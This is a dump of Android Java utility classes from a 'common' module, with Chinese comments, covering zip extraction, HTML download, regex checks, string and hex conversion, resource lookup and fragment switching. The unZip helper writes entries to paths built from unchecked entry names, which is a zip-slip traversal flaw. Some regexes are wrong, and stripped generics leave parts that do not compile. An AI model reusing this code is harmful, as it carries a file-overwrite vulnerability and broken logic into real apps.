12 | import java.net.MalformedURLException;
13 | import java.net.URL;
14 | import java.util.zip.ZipEntry;
15 | import java.util.zip.ZipInputStream;
16 |
17 | public class ProjectHelper {
18 | /**
19 | * 解压assets的zip压缩文件到指定目录
20 |
21 | * @throws IOException
22 | */
23 | public static void unZip(Context context, String assetName, String outputDirectory, boolean isReWrite) throws IOException {
24 | // 创建解压目标目录
25 | File file = new File(outputDirectory);
26 | // 如果目标目录不存在,则创建
27 | if (!file.exists()) {
28 | file.mkdirs();
29 | }
30 | // 打开压缩文件
31 | InputStream inputStream = context.getAssets().open(assetName);
32 | ZipInputStream zipInputStream = new ZipInputStream(inputStream);
33 | // 读取一个进入点
34 | ZipEntry zipEntry = zipInputStream.getNextEntry();
35 | // 使用1Mbuffer
36 | byte[] buffer = new byte[1024 * 1024];
37 | // 解压时字节计数
38 | int count = 0;
39 | // 如果进入点为空说明已经遍历完所有压缩包中文件和目录
40 | while (zipEntry != null) {
41 | // 如果是一个目录
42 | if (zipEntry.isDirectory()) {
43 | file = new File(outputDirectory + File.separator + zipEntry.getName());
44 | // 文件需要覆盖或者是文件不存在
45 | if (isReWrite || !file.exists()) {
46 | file.mkdir();
47 | }
48 | } else {
49 | // 如果是文件
50 | file = new File(outputDirectory + File.separator + zipEntry.getName());
51 | // 文件需要覆盖或者文件不存在,则解压文件
52 | if (isReWrite || !file.exists()) {
53 | file.createNewFile();
54 | FileOutputStream fileOutputStream = new FileOutputStream(file);
55 | while ((count = zipInputStream.read(buffer)) > 0) {
56 | fileOutputStream.write(buffer, 0, count);
57 | }
58 | fileOutputStream.close();
59 | }
60 | }
61 | // 定位到下一个文件入口
62 | zipEntry = zipInputStream.getNextEntry();
63 | }
64 | zipInputStream.close();
65 | }
66 |
67 | /**
68 | * 将网络html保存到本地
69 | *
70 | * @param url
71 | * html网络地址
72 | * @param path
73 | */
74 | public static void saveHtmlToSdcard(String url, String path) {
75 | try {
76 | URL myUrl = new URL(url);
77 | try {
78 | HttpURLConnection connection = (HttpURLConnection) myUrl.openConnection();
79 | connection.setRequestMethod("GET");
80 | connection.setConnectTimeout(5 * 1000);
81 | InputStream inputStream = connection.getInputStream();
82 | OutputStream outStream = new FileOutputStream(new File(path));
83 | byte[] buffer = new byte[1024];
84 | int len = -1;
85 | while ((len = inputStream.read(buffer)) != -1) {
86 | outStream.write(buffer, 0, len);
87 | }
88 | outStream.close();
89 | inputStream.close();
90 | } catch (IOException e) {
91 | e.printStackTrace();
92 | }
93 | } catch (MalformedURLException e) {
94 | e.printStackTrace();
95 | }
96 | }
97 |
98 | /**
99 | * 改变父空间触摸事件拦截状态
100 | *
101 | * @param parentView
102 | * @param isDisallow
103 | */
104 | public static void changeParentDisallowInterceptState(ViewParent parentView, boolean isDisallow) {
105 | if (parentView == null) {
106 | return;
107 | }
108 | if (parentView.getParent() == null) {
109 | return;
110 | }
111 | // 改变触摸拦截状态
112 | parentView.requestDisallowInterceptTouchEvent(isDisallow);
113 | changeParentDisallowInterceptState(parentView.getParent(), isDisallow);
114 | }
115 | }
116 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/PropertiesFactory.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import java.io.FileInputStream;
4 | import java.io.InputStream;
5 | import java.util.Properties;
6 |
7 | /**
8 | * 获取属性文件工厂类
9 | */
10 | public class PropertiesFactory {
11 | private static final String TAG = "PropertiesFactory";
12 | private static Properties props;
13 |
14 | public static Properties getInstance() {
15 | if (props == null) {
16 | props = new Properties();
17 | }
18 |
19 | return props;
20 | }
21 |
22 | /**
23 | * 通过key获取properties的value
24 | * @param filePath
25 | * @param key
26 | * @return
27 | */
28 | public static String readValue(String filePath, String key) {
29 |
30 | try {
31 | if (props.size() == 0) {
32 | InputStream in = new FileInputStream(filePath);
33 | props.load(in);
34 | }
35 | String value = props.getProperty(key);
36 | Log.d(key + value);
37 | return value;
38 | } catch (Exception e) {
39 | Log.e(TAG, e);
40 | return null;
41 | }
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/RegexUtils.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import java.util.regex.Matcher;
4 | import java.util.regex.Pattern;
5 |
6 | /**
7 | * Title: 正则表示式工具类
8 | * Description:
9 | * 1.判断是否是字母
10 | * 2.判断是否是数组
11 | * 3.判断是否是字母数字下划线
12 | * 4.是否为中文字符
13 | * 5.是否有除中文以外的字符
14 | * 6.是否表情符号
15 | * 7.正则匹配手机号
16 | *
17 | */
18 | public class RegexUtils {
19 | /**
20 | *
21 | * 匹配由数字、26个英文字母或者下划线组成的字符串
22 | *
23 | */
24 | public static final String letter_number_underline_regexp = "^//w+$";
25 | /**
26 | *
27 | * 匹配由数字和26个英文字母组成的字符串
28 | *
29 | */
30 | public static final String letter_number_regexp = "^[A-Za-z0-9]+$";
31 | public static final String number_regexp = "^[0-9]*$";
32 | public static final String checknum_regexp = "[0-9]{4,6}";
33 | public static final String illegal = "[\ud83c\udc00-\ud83c\udfff]|[\ud83d\udc00-\ud83d\udfff]|[\u2600-\u27ff]";
34 |
35 | public static boolean isLetter_num(String resource) {
36 | return Pattern.matches(letter_number_regexp, resource);
37 | }
38 |
39 | public static boolean isLetter_num_underline(String resource) {
40 | return Pattern.matches(letter_number_underline_regexp, resource);
41 | }
42 |
43 | public static boolean isNum(String resource) {
44 | return Pattern.matches(number_regexp, resource);
45 | }
46 |
47 | public static String getCheckNum(String resource) {
48 | String result = "";
49 | Pattern p = Pattern.compile(checknum_regexp);
50 | Matcher m = p.matcher(resource);
51 | if (m.find()) {
52 | String g = m.group();
53 | result = g;
54 | }
55 | return result;
56 | }
57 |
58 | /**
59 | * 是否为中文字符
60 | *
61 | * @param c
62 | * @return
63 | */
64 | public static boolean isChineseChar(char c) {
65 | boolean match = (String.valueOf(c)).matches("([\u4E00-\u9FA5])");
66 | return match;
67 | }
68 |
69 | /**
70 | * 是否有除中文以外的字符
71 | *
72 | * @param str
73 | * @return 返回true,说明不全是中文,返回false,说明全是中文
74 | */
75 | public static boolean judgeIsChineseString(String str) {
76 | char[] newchar = new char[str.length()];
77 | str.getChars(0, str.length(), newchar, 0);
78 | for (int i = 0; i < newchar.length; i++) {
79 | boolean matches = RegexUtils.isChineseChar(newchar[i]);
80 | if (!matches) {
81 | return true;
82 | }
83 | }
84 | return false;
85 | }
86 |
87 | /**
88 | * 是否表情符号
89 | *
90 | * @param str
91 | * @return
92 | */
93 | public static boolean isEmojiString(String str) {
94 | String regex = illegal;
95 | Pattern pattern = Pattern.compile(regex, Pattern.UNICODE_CASE
96 | | Pattern.CASE_INSENSITIVE);
97 | Matcher matcher = pattern.matcher(str);
98 | return matcher.find();
99 | }
100 | /**
101 | * 正则匹配手机号码
102 | *
103 | * @param mobileNo
104 | * @return
105 | */
106 | public static boolean isMobileNoValid(String mobileNo) {
107 | String regExp = "^[1][3-8]{10}$";
108 | Pattern p = Pattern.compile(regExp);
109 | Matcher m = p.matcher(mobileNo);
110 | return m.find();
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/ResourceUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.content.Context;
4 | import android.content.res.Resources;
5 | import android.graphics.Bitmap;
6 | import android.graphics.BitmapFactory;
7 | import android.graphics.Shader;
8 | import android.graphics.drawable.BitmapDrawable;
9 | import android.graphics.drawable.Drawable;
10 |
11 | import com.jiangyu.common.base.BaseApplication;
12 |
13 |
14 | /**
15 | * Title: Resource文件加载工具类
16 | * Description:
17 | * 1.取得资源字符串
18 | * 2.取得指定名称的图片资源ID
19 | * 3.取得指定名称的bitmap
20 | * 4.取得指定名称的Drawable
21 | * 5.取得指定名称的bitmap
22 | * 6.取得指定名称的字符串资源ID
23 | * 7.取得指定名称的布局资源id
24 | * 8.字符串转换为整数
25 | * 9.取得指定名称的动画资源id
26 | * 10.取得指定名称的数组资源
27 | *
28 | */
29 | public class ResourceUtil {
30 |
31 | /**
32 | * 取得资源字符串
33 | *
34 | * @param resId 资源id
35 | * @return 字符串
36 | */
37 | public static String getString(int resId) {
38 | return BaseApplication.getInstance().getString(resId);
39 | }
40 |
41 | /**
42 | * 取得资源字符串
43 | *
44 | * @param resId 资源id
45 | * @param formatArgs 格式化参数
46 | * @return 字符串
47 | */
48 | public static String getString(int resId, Object... formatArgs) {
49 | return BaseApplication.getInstance().getString(resId, formatArgs);
50 | }
51 |
52 | /**
53 | * 取得指定名称的图片资源ID
54 | *
55 | * @param imageName 图片名称
56 | * @return id
57 | */
58 | public static int getImageResId(String imageName) {
59 | return BaseApplication.getInstance().getResources().getIdentifier(imageName, "drawable", BaseApplication.getInstance().getPackageName());
60 | }
61 |
62 | /**
63 | * 取得指定名称的bitmap
64 | *
65 | * @param imageName 图片名称
66 | * @return 图片对象
67 | */
68 | public static Bitmap getBitmapByName(String imageName) {
69 | Bitmap result = null;
70 | try {
71 | int resId = getImageResId(imageName);
72 | if (resId > 0) {
73 | result = BitmapFactory.decodeResource(BaseApplication.getInstance().getResources(), resId);
74 | }
75 | } catch (Exception ex) {
76 | ex.printStackTrace();
77 | }
78 | return result;
79 | }
80 |
81 | /**
82 | * 取得指定名称的Drawable
83 | *
84 | * @param imageName 图片名称
85 | * @return 图片对象
86 | */
87 | public static Drawable getDrawableByName(String imageName) {
88 | Drawable result = null;
89 | try {
90 | int resId = getImageResId(imageName);
91 | if (resId > 0) {
92 | result = BaseApplication.getInstance().getResources().getDrawable(resId);
93 | }
94 | } catch (Exception e) {
95 | e.printStackTrace();
96 | }
97 | return result;
98 | }
99 |
100 | /**
101 | * 获取平铺背景
102 | * @param resId Bitmap的id
103 | * @see xml-drawable-bitmap-tilemode-bug
104 | */
105 | public static Drawable getRepeatBackground(int resId) {
106 | Context context = BaseApplication.getInstance();
107 | Bitmap bitmap = BitmapFactory.decodeResource(context.getResources(), resId);
108 | BitmapDrawable drawable = new BitmapDrawable(context.getResources(), bitmap);
109 | drawable.setTileModeXY(Shader.TileMode.REPEAT, Shader.TileMode.REPEAT);
110 | drawable.setDither(true);
111 | return drawable;
112 | }
113 |
114 | /**
115 | * 取得指定名称的字符串资源ID
116 | *
117 | * @param stringName 字符串名称
118 | * @return id
119 | */
120 | public static int getStringResId(String stringName) {
121 | //return TandyApplication.getInstance().getResources().getIdentifier(stringName, "string", TandyApplication.getInstance().getPackageName());
122 | return getResId(stringName, "string");
123 | }
124 |
125 | /**
126 | * 取得指定名称的布局资源id
127 | *
128 | * @param layoutName 布局名字
129 | * @return id
130 | */
131 | public static int getLayoutResId(String layoutName) {
132 | return getResId(layoutName, "layout");
133 | }
134 |
135 | /**
136 | * 取得指定名称的动画资源id
137 | *
138 | * @param animName 动画名字
139 | * @return id
140 | */
141 | public static int getAnimResId(String animName) {
142 | return getResId(animName, "anim");
143 | }
144 |
145 | /**
146 | * 取得指定名称的资源id
147 | *
148 | * @param idName 资源名
149 | * @return id
150 | */
151 | public static int getIdResId(String idName) {
152 | return getResId(idName, "id");
153 | }
154 |
155 | /**
156 | * 取得指定名称的样式id
157 | *
158 | * @param styleableString 样式名
159 | * @return id
160 | */
161 | public static int getStyleableResId(String styleableString) {
162 | return getResId(styleableString, "styleable");
163 | }
164 |
165 | /**
166 | * 通过名字和类型取得res id
167 | *
168 | * @param resName 资源名
169 | * @param type 类型
170 | * @return id
171 | */
172 | private static int getResId(String resName, String type) {
173 | return BaseApplication.getInstance().getResources()
174 | .getIdentifier(resName, type, BaseApplication.getInstance().getPackageName());
175 | }
176 |
177 | /**
178 | * 取得指定名称的数组资源
179 | *
180 | * @param arrayName 数组名称
181 | * @return 数组
182 | */
183 | public static String[] getStringArray(String arrayName) {
184 | Resources r = BaseApplication.getInstance().getResources();
185 | return r.getStringArray(r.getIdentifier(arrayName, "array", BaseApplication.getInstance().getPackageName()));
186 | }
187 |
188 | }
189 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/StreamUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import java.io.Closeable;
4 |
5 | /**
6 | * Title: 数据流工具类
7 | * Description:
8 | * 1.关闭流
9 | *
10 | */
11 | public final class StreamUtil {
12 | /**
13 | * 关闭流
14 | * @param c
15 | */
16 | public static void closeSilently(Closeable c) {
17 | if (c == null)
18 | return;
19 | try {
20 | c.close();
21 | } catch (Throwable t) {
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/StringUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.text.TextUtils;
4 |
5 | import java.io.UnsupportedEncodingException;
6 | import java.util.Collection;
7 | import java.util.Locale;
8 | import java.util.Random;
9 | import java.util.regex.Matcher;
10 | import java.util.regex.Pattern;
11 |
12 | /**
13 | * Title: 字符串工具类
14 | * Description:
15 | * 1.拼装字符串数组
16 | * 2.判断字符串是否为空p
17 | * 3.创建随机字符串
18 | * 4.比较字符串是否相同
19 | * 5.TextUtils常见功能
20 | * 6.由全角转半角
21 | * 7.将所有的数字、字母及标点全部转为全角字符,使它们与汉字同占两个字节
22 | * 8.char转拼音
23 | * 9.String转拼音
24 | * 11汉字 转为 汉语拼音首字母,英文字符不变
25 | * 12.是否为拼音字符串
26 | * 13.是否包含中文
27 | * 14.得到格式如:FuJian的拼音
28 | * 15.获取汉字首字母大写的拼音
29 | * 16.字节数组转化成16进制字符串
30 | * 17.16进制字符串转化成字节数组
31 | * 18.将字符串编码成16进制数字,适用于所有字符(包括中文)
32 | * 19.转换十六进制编码为字符串
33 | * 20.拆分字符串
34 | *
35 | */
36 | public class StringUtil {
37 | /**
38 | * 随机种子
39 | */
40 | private static final String RANDOMSEED = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
41 |
42 | public static String join(Collection s, String delimiter) {
43 | if (s.size() == 0)
44 | return "";
45 | StringBuilder sb = new StringBuilder();
46 | for (String str : s) {
47 | sb.append(str).append(delimiter);
48 | }
49 | if (sb.length() > 0)
50 | sb.delete(sb.length() - 1, sb.length());
51 | return sb.toString();
52 | }
53 |
54 | /**
55 | * 判断字符串是否为空
56 | */
57 | public static boolean isEmpty(String s) {
58 | return TextUtils.isEmpty(s);
59 | }
60 |
61 | /**
62 | * 创建随机字符串
63 | *
64 | * @param length
65 | * 随机字符串长度
66 | * @return
67 | */
68 | public static String createRandomString(int length) {
69 | StringBuffer result = new StringBuffer();
70 | if (length > 0) {
71 | Random random = new Random();
72 | int seedLength = RANDOMSEED.length();
73 | for (int i = 0; i < length; i++) {
74 | result.append(RANDOMSEED.charAt(random.nextInt(seedLength)));
75 | }
76 | }
77 | return result.toString();
78 | }
79 |
80 |
81 |
82 | /**
83 | * 比较字符串是否相同
84 | *
85 | * @param a
86 | * @param b
87 | * @return
88 | */
89 | public static boolean equals(CharSequence a, CharSequence b) {
90 | return TextUtils.equals(a, b);
91 | }
92 |
93 | /**
94 | * Returns whether the given CharSequence contains only digits
95 | *
96 | * @param str
97 | * @return
98 | */
99 | public static boolean isDigitsOnly(CharSequence str) {
100 | return TextUtils.isDigitsOnly(str);
101 | }
102 |
103 | /**
104 | * html encode
105 | *
106 | * @param s
107 | * @return
108 | */
109 | public static String htmlEncode(String s) {
110 | return TextUtils.htmlEncode(s);
111 | }
112 |
113 | /**
114 | * 将所有的数字、字母及标点全部转为全角字符,使它们与汉字同占两个字节
115 | *
116 | * @param input
117 | * @return
118 | */
119 | public static String ToDBC(String input) {
120 | char[] c = input.toCharArray();
121 | for (int i = 0; i < c.length; i++) {
122 | if (c[i] == 12288) {
123 | c[i] = (char) 32;
124 | continue;
125 | }
126 | if (c[i] > 65280 && c[i] < 65375)
127 | c[i] = (char) (c[i] - 65248);
128 | }
129 | return new String(c);
130 | }
131 |
132 | /**
133 | * 是否为拼音字符串
134 | *
135 | * @param str
136 | * @return
137 | */
138 | public static boolean isPinYin(String str) {
139 | Pattern pattern = Pattern.compile("[a-zA-Z]*");
140 | return pattern.matcher(str).matches();
141 | }
142 |
143 | /**
144 | * 是否包含中文
145 | *
146 | * @param str
147 | * @return
148 | */
149 | public static boolean containCn(String str) {
150 | Pattern pattern = Pattern.compile("[\\u4e00-\\u9fa5]");
151 | return pattern.matcher(str).find();
152 | }
153 |
154 | /*
155 | * Convert byte[] to hex
156 | * string.这里我们可以将byte转换成int,然后利用Integer.toHexString(int)来转换成16进制字符串。
157 | *
158 | * @param src byte[] data
159 | *
160 | * @return hex string
161 | */
162 | public static String bytesToHex(byte[] src) {
163 | StringBuilder stringBuilder = new StringBuilder("");
164 | if (src == null || src.length <= 0) {
165 | return null;
166 | }
167 | for (int i = 0; i < src.length; i++) {
168 | int v = src[i] & 0xFF;
169 | String hv = Integer.toHexString(v);
170 | if (hv.length() < 2) {
171 | stringBuilder.append(0);
172 | }
173 | stringBuilder.append(hv);
174 | }
175 | return stringBuilder.toString();
176 | }
177 |
178 | /**
179 | * Convert hex string to byte[]
180 | *
181 | * @param hexString
182 | * the hex string
183 | * @return byte[]
184 | */
185 | public static byte[] hexToBytes(String hexString) {
186 | if (hexString == null || hexString.equals("")) {
187 | return null;
188 | }
189 | hexString = hexString.toUpperCase();
190 | int length = hexString.length() / 2;
191 | char[] hexChars = hexString.toCharArray();
192 | byte[] d = new byte[length];
193 | for (int i = 0; i < length; i++) {
194 | int pos = i * 2;
195 | d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
196 | }
197 | return d;
198 | }
199 |
200 | /**
201 | * Convert char to byte
202 | *
203 | * @param c
204 | * char
205 | * @return byte
206 | */
207 | private static byte charToByte(char c) {
208 | return (byte) "0123456789ABCDEF".indexOf(c);
209 | }
210 |
211 | /*
212 | * 16进制数字字符集
213 | */
214 | private static String hexString = "0123456789ABCDEF";
215 |
216 | /*
217 | * 将字符串编码成16进制数字,适用于所有字符(包括中文)
218 | */
219 | public static String toHexString(String str) {
220 | // 根据默认编码获取字节数组
221 | byte[] bytes = null;
222 | try {
223 | bytes = str.getBytes("UTF-8");
224 | } catch (UnsupportedEncodingException e) {
225 | e.printStackTrace();
226 | }
227 | if (bytes == null)
228 | return null;
229 | StringBuilder sb = new StringBuilder(bytes.length * 2);
230 | // 将字节数组中每个字节拆解成2位16进制整数
231 | for (int i = 0; i < bytes.length; i++) {
232 | sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));
233 | sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));
234 | }
235 | return sb.toString();
236 | }
237 |
238 | // 转换十六进制编码为字符串
239 | public static String hexToString(String s) {
240 | if ("0x".equals(s.substring(0, 2))) {
241 | s = s.substring(2);
242 | }
243 | byte[] baKeyword = new byte[s.length() / 2];
244 | for (int i = 0; i < baKeyword.length; i++) {
245 | try {
246 | baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(i * 2, i * 2 + 2), 16));
247 | } catch (Exception e) {
248 | e.printStackTrace();
249 | }
250 | }
251 | try {
252 | s = new String(baKeyword, "utf-8");// UTF-16le:Not
253 | } catch (Exception e1) {
254 | e1.printStackTrace();
255 | }
256 | return s;
257 | }
258 | /**
259 | * 拆分字符串
260 | */
261 | public static String[] splitString(String string, int len) {
262 | int x = string.length() / len;
263 | int y = string.length() % len;
264 | int z = 0;
265 | if (y != 0) {
266 | z = 1;
267 | }
268 | String[] strings = new String[x + z];
269 | String str = "";
270 | for (int i = 0; i < x + z; i++) {
271 | if (i == x + z - 1 && y != 0) {
272 | str = string.substring(i * len, i * len + y);
273 | } else {
274 | str = string.substring(i * len, i * len + len);
275 | }
276 | strings[i] = str;
277 | }
278 | return strings;
279 | }
280 |
281 | public static boolean isPwdValid(String pwd) {
282 | Pattern p = Pattern.compile("[a-zA-Z0-9]{0,30}");
283 | Matcher m = p.matcher(pwd);
284 |
285 | return m.matches();
286 | }
287 |
288 | }
289 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/ThreadPool.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import java.util.concurrent.LinkedBlockingQueue;
4 | import java.util.concurrent.ThreadPoolExecutor;
5 | import java.util.concurrent.TimeUnit;
6 |
7 | /**
8 | * Title: 线程池
9 | * Description:
10 | * 提供获取线程池,并支持现场管理。
11 | * 最大支持线程数10条,核心线程数5条.
12 | * 若当前线程小于核心线程数,则不用进行排队,直接开启线程。
13 | * 若当前线程大于5条,小于10条,则剩余线程进入队列进行等待。
14 | *
15 | */
16 | public class ThreadPool {
17 | private static ThreadPool threadPool;
18 | private static ThreadPoolExecutor threadPoolExecutor;
19 | private int CORE_SIZE = 5; // 核心線程數
20 | private int MAX_SIZE = 10; // 最大線程數
21 | private long KEEPLIVETIME = 60; // 空閒時間
22 | private TimeUnit TIMEUNIT = TimeUnit.SECONDS;
23 |
24 | public static ThreadPool newInstance() {
25 | if (threadPool == null) {
26 | threadPool = new ThreadPool();
27 | }
28 |
29 | return threadPool;
30 | }
31 |
32 | private ThreadPool() {
33 | threadPoolExecutor = new ThreadPoolExecutor(CORE_SIZE, MAX_SIZE, KEEPLIVETIME, TIMEUNIT,
34 | new LinkedBlockingQueue());
35 | }
36 |
37 | public void execute(Runnable task) {
38 | threadPoolExecutor.submit(task);
39 | }
40 |
41 | public void stopAll() {
42 | threadPoolExecutor.shutdownNow();
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/ToastUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.widget.Toast;
4 |
5 | import com.jiangyu.common.base.BaseApplication;
6 |
7 |
8 | /**
9 | * Toast相关方法
10 | */
11 | public class ToastUtil {
12 | private static Toast toast = null;
13 |
14 | public static void showMessage(String msg, int duration) {
15 | // Toast.makeText(BaseApplication.getInstance(), msg, duration).show();
16 | if(toast == null)
17 | {
18 | toast = Toast.makeText(BaseApplication.getInstance(), msg, duration);
19 | }
20 | else {
21 | toast.setText(msg);
22 | }
23 | toast.show();
24 | }
25 |
26 | public static void showMessage(int resid, int duration) {
27 | Toast.makeText(BaseApplication.getInstance(), resid, duration).show();
28 | }
29 |
30 | public static void showShort(int resid) {
31 | showMessage(resid, Toast.LENGTH_SHORT);
32 | }
33 |
34 | public static void showShort(String msg) {
35 | showMessage(msg, Toast.LENGTH_SHORT);
36 | }
37 |
38 | public static void showLong(int resid) {
39 | showMessage(resid, Toast.LENGTH_LONG);
40 | }
41 |
42 | public static void showLong(String msg) {
43 | showMessage(msg, Toast.LENGTH_LONG);
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/UILauncherUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.app.Activity;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.os.Bundle;
7 | import android.support.v4.app.Fragment;
8 | import android.support.v4.app.FragmentActivity;
9 | import android.support.v4.app.FragmentManager;
10 | import android.support.v4.app.FragmentTransaction;
11 |
12 | /**
13 | * Title: UI切换工具类
14 | * Description:
15 | * 1.添加Fragment
16 | * 2.替换Fragment
17 | * 3.交换Fragment
18 | * 4.隐藏Fragment
19 | * 5.移除Fragment
20 | * 6.启动某个Activity
21 | * 7.启动某个Activity带参数
22 | * 8.启动某个Activity带回调
23 | *
24 | */
25 | public class UILauncherUtil {
26 | private static UILauncherUtil instance;
27 |
28 | public static synchronized UILauncherUtil getIntance() {
29 | if (instance == null) {
30 | instance = new UILauncherUtil();
31 | }
32 | return instance;
33 | }
34 |
35 | /**
36 | * 添加Fragment
37 | *
38 | * @param newFrg
39 | * @param container
40 | * 容器
41 | * @param activity
42 | */
43 | public void addFragment(Fragment newFrg, int container,
44 | FragmentActivity activity) {
45 | addFragment(newFrg, container, null, activity);
46 | }
47 |
48 | public void addFragmentButHide(Fragment newFrg, int container,
49 | FragmentActivity activity) {
50 | try {
51 | FragmentManager fragmentManager = activity
52 | .getSupportFragmentManager();
53 | if (!newFrg.isAdded()) {
54 | fragmentManager.beginTransaction().add(container, newFrg)
55 | .hide(newFrg).commitAllowingStateLoss();
56 | }
57 | } catch (Exception e) {
58 | e.printStackTrace();
59 | }
60 | }
61 |
62 | /**
63 | * 添加Frg
64 | *
65 | * @param newFrg
66 | * @param container
67 | * @param tag
68 | * @param activity
69 | */
70 | public void addFragment(Fragment newFrg, int container, String tag,
71 | FragmentActivity activity) {
72 | try {
73 | FragmentManager fragmentManager = activity
74 | .getSupportFragmentManager();
75 | if (!newFrg.isAdded()) {
76 | fragmentManager.beginTransaction().add(container, newFrg, tag)
77 | .commitAllowingStateLoss();
78 | }
79 | } catch (Exception e) {
80 | e.printStackTrace();
81 | }
82 | }
83 |
84 | /**
85 | * 替换Fragment
86 | *
87 | * @param newFrg
88 | * @param container
89 | * 容器
90 | * @param activity
91 | */
92 | public void replaceFlagment(Fragment newFrg, int container,
93 | FragmentActivity activity) {
94 | replaceFlagment(newFrg, container, null, activity);
95 | }
96 |
97 | /**
98 | * 替换Fragment
99 | *
100 | * @param newFrg
101 | * @param container
102 | * @param tag
103 | * @param activity
104 | */
105 | public void replaceFlagment(Fragment newFrg, int container, String tag,
106 | FragmentActivity activity) {
107 | try {
108 | FragmentManager fragmentManager = activity
109 | .getSupportFragmentManager();
110 | fragmentManager.beginTransaction().replace(container, newFrg, tag)
111 | .commitAllowingStateLoss();
112 | } catch (Exception e) {
113 | e.printStackTrace();
114 | }
115 | }
116 |
117 | /**
118 | * 交换Fragment
119 | *
120 | * @param Current
121 | * 当前Fragment
122 | * @param from
123 | * @param to
124 | * @param container
125 | * 容器
126 | * @param activity
127 | */
128 | public void switchContent(Fragment current, Fragment to, int container,
129 | FragmentActivity activity) {
130 | try {
131 | if (current != to) {
132 | FragmentTransaction transaction = activity
133 | .getSupportFragmentManager().beginTransaction();
134 | if (!to.isAdded()) { // 先判断是否被add过
135 | transaction.hide(current).add(container, to)
136 | .commitAllowingStateLoss(); // 隐藏当前的fragment,add下一个到Activity中
137 | } else {
138 | transaction.hide(current).show(to)
139 | .commitAllowingStateLoss(); // 隐藏当前的fragment,显示下一个
140 | }
141 | }
142 | } catch (Exception e) {
143 | e.printStackTrace();
144 | }
145 | }
146 |
147 | // 动画
148 | public void switchContent(Fragment current, Fragment to, int container,
149 | int in, int out, FragmentActivity activity) {
150 | try {
151 | if (current != to) {
152 | FragmentTransaction transaction = activity
153 | .getSupportFragmentManager().beginTransaction()
154 | .setCustomAnimations(in, out);
155 | if (!to.isAdded()) { // 先判断是否被add过
156 | transaction.hide(current).add(container, to)
157 | .commitAllowingStateLoss(); // 隐藏当前的fragment,add下一个到Activity中
158 | } else {
159 | transaction.hide(current).show(to)
160 | .commitAllowingStateLoss(); // 隐藏当前的fragment,显示下一个
161 | }
162 | }
163 | } catch (Exception e) {
164 | e.printStackTrace();
165 | }
166 | }
167 |
168 | public void hideFragment(Fragment current, FragmentActivity activity) {
169 | FragmentTransaction transaction = activity.getSupportFragmentManager()
170 | .beginTransaction();
171 | try {
172 | if (current != null && current.isAdded()) {
173 | transaction.hide(current).commitAllowingStateLoss();
174 | }
175 | } catch (Exception e) {
176 | e.printStackTrace();
177 | }
178 | }
179 |
180 | public void removeFragment(Fragment current, FragmentActivity activity) {
181 | FragmentTransaction transaction = activity.getSupportFragmentManager()
182 | .beginTransaction();
183 | try {
184 | if (current != null && current.isAdded()) {
185 | transaction.remove(current).commitAllowingStateLoss();
186 | }
187 | } catch (Exception e) {
188 | e.printStackTrace();
189 | }
190 | }
191 |
192 | public void showFragment(Fragment current, FragmentActivity activity) {
193 | FragmentTransaction transaction = activity.getSupportFragmentManager()
194 | .beginTransaction();
195 | try {
196 | if (current != null && current.isAdded()) {
197 | transaction.show(current).commitAllowingStateLoss();
198 | }
199 | } catch (Exception e) {
200 | e.printStackTrace();
201 | }
202 | }
203 |
204 | public void launcherActivity(Context context, Class> class1) {
205 | Intent intent = new Intent(context, class1);
206 | context.startActivity(intent);
207 | }
208 |
209 | public void launcherActivityWithExtra(Context context, Class> class1,
210 | Bundle bundle) {
211 | Intent intent = new Intent(context, class1);
212 | intent.putExtras(bundle);
213 | context.startActivity(intent);
214 | }
215 |
216 | public void launcherActivityForResult(Context context, Class> class1,
217 | Bundle bundle, int requestCode) {
218 | Intent intent = new Intent(context, class1);
219 | if (bundle != null) {
220 | intent.putExtras(bundle);
221 | }
222 | ((Activity) context).startActivityForResult(intent, requestCode);
223 | }
224 |
225 | }
226 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/Util.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.app.ActivityManager;
4 | import android.app.KeyguardManager;
5 | import android.content.ContentUris;
6 | import android.content.Context;
7 | import android.database.Cursor;
8 | import android.net.Uri;
9 | import android.os.Build;
10 | import android.os.Environment;
11 | import android.provider.MediaStore;
12 |
13 | import java.util.List;
14 |
15 | public class Util {
16 | // =========
17 | // =通过URI获取本地图片的path
18 | // =兼容android 5.0
19 | // ==========
20 | public static String ACTION_OPEN_DOCUMENT = "android.intent.action.OPEN_DOCUMENT";
21 | public static int Build_VERSION_KITKAT = 19;
22 |
23 | public static String getPath(final Context context, final Uri uri) {
24 | final boolean isKitKat = Build.VERSION.SDK_INT >= 19;
25 | // DocumentProvider
26 | if (isKitKat && isDocumentUri(context, uri)) {
27 | // ExternalStorageProvider
28 | if (isExternalStorageDocument(uri)) {
